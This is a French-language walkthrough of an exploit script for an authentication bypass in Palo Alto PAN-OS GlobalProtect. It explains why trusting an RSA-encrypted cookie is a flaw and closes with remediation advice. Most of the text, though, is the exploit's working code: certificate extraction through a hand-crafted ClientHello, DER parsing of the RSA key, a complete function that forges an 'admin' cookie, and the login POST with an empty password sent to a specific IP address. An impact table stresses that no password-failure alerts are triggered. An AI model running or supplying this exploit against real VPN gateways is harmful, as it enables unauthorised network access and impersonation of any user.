
Palo Alto Networks PAN-OS contient un contournement d'authentification causé par des failles dans le portail et la passerelle GlobalProtect, permettant aux attaquants d'établir des connexions VPN non autorisées. L'exploitation nécessite un accès réseau au portail ou à la passerelle.
Cette exploitation permet un accès VPN non authentifié à une passerelle/portail Palo Alto GlobalProtect en forgeant un cookie d'authentification en utilisant uniquement le certificat TLS public du serveur.
GlobalProtect utilise un cookie de pré-authentification (portal-userauthcookie) pour permettre aux clients de s'authentifier. Voici le défaut fatal :
Flux normal :
1. Le client s'authentifie (nom d'utilisateur + mot de passe)
2. Le serveur génère un cookie → le chiffre avec la clé PUBLIQUE RSA du serveur
3. Le client stocke le cookie chiffré
4. Lors de la reconnexion, le client envoie le cookie → le serveur le déchiffre avec la clé PRIVÉE → lui fait confiance
Le bogue :
Le serveur vérifie UNIQUEMENT si le cookie se déchiffre correctement avec sa clé privée.
Il ne vérifie PAS QUI l'a chiffré ni si le contenu en clair est légitime.
Puisque la clé publique RSA est intégrée au certificat TLS du serveur (accessible publiquement à quiconque se connecte), tout attaquant peut :
C'est un défaut d'authentification brisée typique — utiliser le chiffrement là où une signature numérique ou un HMAC était nécessaire.
flowchart TD
A["Étape 1 : Connexion TCP brute"] --> B["Étape 2 : Envoi d'un ClientHello TLS façonné"]
B --> C["Étape 3 : Analyse du ServerHello → Extraction des certificats DER"]
C --> D["Étape 4 : Parcours de l'ASN.1 pour extraire la clé publique RSA"]
D --> E["Étape 5 : Forge d'un cookie chiffré PKCS#1 v1.5"]
E --> F["Étape 6 : POST vers /ssl-vpn/login.esp"]
F --> G{"Le serveur déchiffre le cookie"}
G -->|"Texte en clair valide"| H[" Contournement d'auth — Accès VPN accordé"]
G -->|"Invalide"| I[" Rejeté"]
Pourquoi brut ? Nous avons besoin du certificat du serveur au format DER (binaire brut). Le module
sslde Python effectue la poignée de main TLS complète en interne et n'expose pas les octets bruts du certificat de la même manière. En effectuant une connexion TCP brute et en envoyant un ClientHello façonné manuellement, nous pouvons intercepter la réponse du serveur au niveau des octets.
Un enregistrement TLS ressemble à cela :
┌──────────────────────────────────────────────────┐
│ En-tête d'enregistrement TLS (5 octets) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Longueur │ │
│ │ 0x16 │ 0x03 01 │ 2 octets │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Message de poignée de main │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Longueur │ Corps │ │
│ │ 0x01 │ 3 octets │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
Le corps du ClientHello contient :
Extensions incluses :
[!NOTE] Les suites de chiffrement incluent intentionnellement des chiffrements d'échange de clés RSA (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). Cela incite le serveur à répondre avec son certificat RSA plutôt qu'un certificat ECDSA — ce qui est critique car l'exploitation ne fonctionne qu'avec RSA.
Après avoir envoyé le ClientHello, le serveur renvoie plusieurs enregistrements TLS :
Réponse du serveur :
┌─────────────────┐
│ ServerHello │ (type de poignée de main 2)
├─────────────────┤
│ Certificate │ (type de poignée de main 11) ← CECI NOUS INTÉRESSE
├─────────────────┤
│ ServerKeyExchange│ (type de poignée de main 12, optionnel)
├─────────────────┤
│ ServerHelloDone │ (type de poignée de main 14) ← SIGNAL D'ARRÊT
└─────────────────┘
Phase 1 — Supprimer les en-têtes d'enregistrement TLS :
Chaque enregistrement TLS a un en-tête de 5 octets : [type(1)] [version(2)] [longueur(2)]. Le code parcourt tous les enregistrements, et pour ceux avec type == 22 (Handshake), il concatène leurs charges utiles :
while i + 5 <= len(data):
t = data[i] # type de contenu
rl = (data[i + 3] << 8) | data[i + 4] # longueur de l'enregistrement
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # récupérer la charge utile
i += 5 + rl # enregistrement suivant
Phase 2 — Trouver le message Certificate (type 11) :
Dans le flux de poignée de main, chaque message a un en-tête de 4 octets : [type(1)] [longueur(3)]. Nous recherchons type == 11 :
while j + 4 <= len(hs):
ht = hs[j] # type de poignée de main
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # longueur sur 3 octets
if ht == 11: # Certificate!
# Analyser la liste des certificats à l'intérieur
Phase 3 — Extraire les certificats DER individuels :
Le message Certificate contient une liste de certificats, chacun précédé d'une longueur de 3 octets :
Corps du message Certificate :
┌───────────────────────────────────┐
│ Longueur totale des certificats (3 octets) │
├───────────────────────────────────┤
│ Longueur du certificat 1 (3 octets) │
│ Données DER du certificat 1 (variable) │
├───────────────────────────────────┤
│ Longueur du certificat 2 (3 octets) │
│ Données DER du certificat 2 (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
Lors de notre test, nous avons obtenu 3 certificats (certificat feuille, CA intermédiaire, CA racine).
Cette fonction analyse ServerHelloDone (type de poignée de main 14), qui nous indique que le serveur a fini d'envoyer et que nous pouvons arrêter de lire.
Les certificats X.509 sont encodés en DER (Distinguished Encoding Rules), un format binaire basé sur ASN.1 (Abstract Syntax Notation One).
Chaque élément en DER est :
┌─────┬────────┬───────────────────┐
│ Tag │ Longueur │ Valeur (charge utile) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
Encodage de la longueur :
0x80 : la longueur est directement cet octet (forme courte)0x80 : les 7 bits de poids faible = nombre d'octets suivants qui encodent la longueur (forme longue)# Exemple : octet de longueur = 0x82 → 2 octets supplémentaires suivent
# 2 octets suivants : 0x06 0x4F → longueur = 0x064F = 1615 octets
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # forme longue ?
nb = length & 0x7F # nombre d'octets suivants
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = début de la valeur
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optionnel)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ CECI NOUS INTÉRESSE ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optionnel)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
La fonction parcourt l'arbre DER en lisant tag+longueur et en sautant les champs dont nous n'avons pas besoin :
# Entrer dans la SEQUENCE externe (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Entrer dans la SEQUENCE tbsCertificate
r = rd_tl(der, p) # → SEQUENCE
# Vérifier le tag de version optionnel
r = rd_tl(der, p)
if r["tag"] == 0xA0: # champ version présent → le sauter
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Sauter : serial → sigAlg → issuer → validity → subject
# (lire chaque TLV et sauter par-dessus)
# MAINTENANT nous sommes à subjectPublicKeyInfo
# Lire le AlgorithmIdentifier → vérifier si OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ Ceci est 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Pas RSA (probablement ECDSA)
# Lire le BIT STRING → sauter 1 octet (indicateur de bits inutilisés)
# Lire la SEQUENCE interne → extraire le modulus (n) et l'exposant (e)
Détail important — octet zéro de tête dans le modulus :
if der[ms] == 0 and ml > 1:
ms += 1 # supprimer le 0x00 de tête
ml -= 1
DER encode les entiers comme signés. Si le bit de poids fort du modulus est 1, un octet 0x00 est préfixé pour le garder positif. Nous le supprimons car nous avons besoin de la valeur non signée brute.
Pour notre cible : modulus = 2048 bits (256 octets), exposant = 65537 (0x10001)
C'est le cœur de l'exploitation.
Le format du cookie en clair est :
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── IP client
│ │ └── Timestamp Unix
│ └── Identifiant OS
└── Nom d'utilisateur (nous choisissons "admin")
Avant le chiffrement RSA, le texte clair doit être rembourré à la taille de la clé (256 octets pour RSA 2048 bits) :
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Remplissage aléatoire non nul │ 0x00 │ Message en clair │
│ │ │ (≥ 8 octets) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen octets 1B octets du message
Total = 256 octets (= taille de la clé)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 séparateur
if pad_len < 8: # PKCS#1 nécessite ≥ 8 octets de remplissage
return ""
em = bytearray([0x00, 0x02]) # En-tête de remplissage Type 2
for _ in range(pad_len):
em.append(random.randint(1, 255)) # octets aléatoires non nuls !
em.append(0x00) # séparateur
cat(em, pt) # ajouter le texte clair
# Chiffrement RSA : ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
Le calcul RSA :
ciphertext = plaintext^e mod n
Où :
plaintext = le message rembourré sous forme d'entier (256 octets → ~2048 bits)
e = 65537 (exposant public)
n = le modulus de 2048 bits provenant du certificat
[!IMPORTANT] Cela fonctionne car le chiffrement RSA utilise la clé publique (n, e), que quiconque peut obtenir à partir du certificat TLS. Le serveur le déchiffrera avec sa clé privée (n, d) et retrouvera le texte en clair —
admin;;Windows;;timestamp;0.0.0.0.Le serveur fait alors aveuglément confiance à ce texte en clair — il ne vérifie jamais que le cookie a été émis légitimement par lui-même.
Le cookie forgé est envoyé sous forme d'une requête POST HTTPS standard au point de terminaison de connexion GlobalProtect :
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← vide ! aucun mot de passe nécessaire
&context=gateway ← ou "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE] Le champ
passwdest vide. Le serveur ne vérifie pas du tout le mot de passe — il se fie entièrement auportal-userauthcookiepour l'authentification.
L'exploitation teste deux points de terminaison :
context=gateway) : Accès direct au tunnel VPNcontext=portal) : Accès à la configuration du portaildef is_gateway_success(resp, user):
# Vérifier si HTTP 200
# Vérifier la présence de <status>Success</status> dans le corps XML
# OU d'une balise <argument> contenant le nom d'utilisateur
sequenceDiagram
participant A as Attaquant
participant GP as Serveur GlobalProtect
A->>GP: Connexion TCP (port 443)
A->>GP: ClientHello TLS brut (façonné manuellement)
GP->>A: ServerHello + Certificate (contient la clé publique RSA)
GP->>A: ServerHelloDone
Note over A: Extrait la clé publique RSA (n, e) du certificat
Note over A: Forge le cookie : RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (via TLS)
Note over GP: Reçoit portal-userauthcookie
Note over GP: Déchiffre avec la clé privée RSA
Note over GP: Obtient "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Lui fait aveuglément confiance — aucune vérification de signature !
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Accès VPN complet en tant que "admin"
Le problème fondamental est l'utilisation du chiffrement pour l'authentification. Les approches correctes :
Signatures numériques : Le serveur devrait signer le cookie avec sa clé privée, pas déchiffrer un cookie chiffré. Puis vérifier la signature lors de la ré-authentification.
HMAC : Utiliser une clé secrète côté serveur pour HMAC la charge utile du cookie. Seul le serveur connaît le secret, donc les cookies ne peuvent pas être forgés.
Token Binding : Lier le cookie à la session d'authentification d'origine afin qu'il ne puisse pas être rejoué depuis un contexte différent.
Brisé : cookie = RSA_encrypt(userdata, public_key) ← n'importe qui peut le faire !
Corrigé : cookie = HMAC(server_secret, userdata) ← seul le serveur peut le faire
1. Connexion TCP vers cible:443
2. Envoi d'un ClientHello façonné manuellement (octets bruts via TCP, PAS TLS)
3. Réception de ServerHello + Certificate + ServerHelloDone
4. Analyse des enregistrements TLS → extraction des messages de poignée de main
5. Recherche du message Certificate (type 11) → extraction des certificats encodés DER
6. Parcours de la structure ASN.1/DER du certificat feuille :
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (vérifier OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Construction du texte en clair : "admin;;Windows;;1748928001;0.0.0.0"
8. Remplissage PKCS#1 v1.5 : 0x00 0x02 [aléatoire≥8] 0x00 [texte en clair]
9. Chiffrement RSA : ciphertext = padded^e mod n
10. Encodage Base64 → encodage URL
11. POST vers /ssl-vpn/login.esp avec le cookie forgé (via TLS correct)
12. Le serveur déchiffre → fait aveuglément confiance → accorde l'accès VPN
| Champ | Valeur | Objectif |
|---|
| Version | 0x03 0x03 (TLS 1.2) | Indiquer au serveur que nous parlons TLS 1.2 |
| Aléatoire | Timestamp 4 octets + 28 octets aléatoires | Nonce pour la poignée de main |
| ID de session | 0x00 (vide) | Pas de reprise de session |
| Suites de chiffrement | 9 suites dont TLS_RSA_WITH_AES_128_CBC_SHA | Clé : nous incluons des chiffrements RSA uniquement pour forcer le serveur à utiliser son certificat RSA |
| Compression | 0x00 (aucune) | Requis |
| Extension | ID | Objectif |
|---|
| SNI (Server Name Indication) | 0x0000 | Indiquer au serveur le nom d'hôte auquel on se connecte |
| Algorithmes de signature | 0x000D | Annoncer les algorithmes de signature supportés |
| Groupes supportés | 0x000A | Courbes elliptiques supportées (P-256, P-384, P-521) |
| Formats de points EC | 0x000B | Points EC non compressés |
| Aspect | Impact |
|---|
| Aucune information d'identification nécessaire | La clé publique est littéralement publique — quiconque se connecte l'obtient |
| Pas de force brute | Une seule requête par tentative, toujours réussie sur les serveurs vulnérables |
| Pré-authentification | Exploitable avant toute connexion — aucune session existante nécessaire |
| Usurpation d'utilisateur | L'attaquant choisit n'importe quel nom d'utilisateur (admin, PDG, etc.) |
| Accès VPN complet | Une fois authentifié, l'attaquant est sur le réseau interne |
| Aucune journalisation d'échec de mot de passe | Comme l'auth se fait via un cookie, les alertes d'échec de mot de passe ne se déclenchent pas |